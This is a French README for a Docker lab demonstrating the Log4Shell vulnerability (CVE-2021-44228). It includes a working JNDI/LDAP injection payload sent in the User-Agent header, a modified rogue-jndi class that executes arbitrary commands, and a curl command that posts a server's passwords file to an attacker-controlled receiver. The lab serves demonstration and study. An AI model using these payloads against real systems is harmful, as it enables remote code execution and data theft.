CVE-2021-44228-docker-example

Une démonstration simple de CVE-2021-44228 pour transférer des données d'un serveur vulnérable vers un service web contrôlé par un attaquant. Tous les composants impliqués fonctionnent via Docker.

Composants

vulnerable-server

Il s'agit d'un serveur Java standard agissant comme la victime. Il exécute :

• Java 8u111
• Application Web (Spring Boot 2.6.1)
• Log4J

Ce serveur est VULNÉRABLE avec cette configuration.

Informations supplémentaires :

• le point d'accès /logging (GET) journalisera le user agent en utilisant Log4J
• /foo/passwords.txt existe (la cible de l'attaquant)

Contenu de passwords.txt :

my secret

malicious-receiver

Il s'agit d'un serveur Java standard agissant comme le collecteur de données de l'attaquant. Il exécute :

• Java 17
• Application Web (Spring Boot 2.6.1)

Informations supplémentaires :

• le point d'accès receiver (POST) journalisera le corps de la requête

malicious-ldap

Il s'agit d'un serveur LDAP propulsé par rogue-jndi. Sa classe ExportJava a été modifiée afin que les commandes passées via le drapeau -c soient exécutées.

public ExportObject() {
    try {
        Runtime.getRuntime().exec(Config.command);
    } catch(Exception e) {
        e.printStackTrace();
    }
}

Lorsqu'il est sollicité par le serveur vulnérable, il répondra avec une classe exécutant la commande suivante lors de l'instanciation :

curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt

Cela publiera effectivement le contenu de /foo/passwords.txt vers le point d'accès préparé du récepteur malveillant.

Utilisation

1. configurer les images Docker en exécutant :
   root@kitploit:~

   ./build.sh
   

2. démarrer les conteneurs des composants en exécutant :
   root@kitploit:~

   ./start.sh
   

3. déclencher la vulnérabilité en exécutant :
   root@kitploit:~

   curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
   

4. vérifier la sortie de journalisation du composant récepteur malveillant en exécutant :
   root@kitploit:~

   docker logs --timestamps docker_malicious-receiver_1
   

   Le contenu du fichier passwords.txt du serveur devrait s'y trouver.
5. arrêter les conteneurs des composants en exécutant :
   root@kitploit:~

   ./stop.sh